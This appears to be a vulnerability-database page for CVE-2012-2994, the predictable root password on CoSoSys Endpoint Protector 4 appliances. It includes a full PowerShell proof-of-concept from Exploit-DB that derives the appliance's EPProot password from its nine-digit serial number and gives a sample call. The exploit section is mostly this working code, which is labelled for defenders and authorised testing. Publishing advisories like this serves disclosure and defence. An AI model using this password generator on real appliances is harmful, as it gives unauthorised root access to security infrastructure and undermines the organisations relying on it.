CVE-2012-2994
Description
The CoSoSys Endpoint Protector 4 appliance establishes an EPProot password based entirely on the appliance serial number, which makes it easier for remote attackers to obtain access via a brute-force attack.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
CoSoSys Endpoint Protector - Predictable Password Generation
source: https://www.securityfocus.com/bid/55570/info
CoSoSys Endpoint Protector is prone to an insecure password generation vulnerability.
Successfully exploiting this issue may allow an attacker to guess generated passwords and gain access to affected appliances.
CoSoSys Endpoint Protector 4 is vulnerable; other versions may also be affected.
function Get-EPPPassword {
<#
.Synopsis
Get-EPPPassword calculates the predictable root password for Cososys Endpoint Protector 4 servers.
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
.Description
Get-EPPPassword Timeline:
discovered 3 Mar 2012
reported to vendor 12 Jun 2012
reported to US-CERT 15 Jul 2012
released 17 Sep 2012
.Example
Get-EPPPassword -Serial 123456789
.Link
http://obscuresecurity.blogspot.com/2012/09/cososys-predicable-password-cve-2012.html
#>
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Serial)
#function to calculate sums from serial number
function GetSerialSum {
if ($Serial.Length -ne 9) {
Return "EPP Serial Number is 9 digits"
}
else {
#convert $serial to an array of integers
[int[]] $SerialArray = [char[]]$Serial| ForEach-Object {[int]"$_"}
}
foreach ($Number in $SerialArray) {
$Sum += $Number
}
Write-Output $Sum
}
#function to calculate epproot password
function GetPassword {
Write-Output "eroot!00$Sums`RO"
}
$Sums = GetSerialSum
GetPassword
}
Get-EPPPassword -Serial 135792468
References
CWEs
CWE-264
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.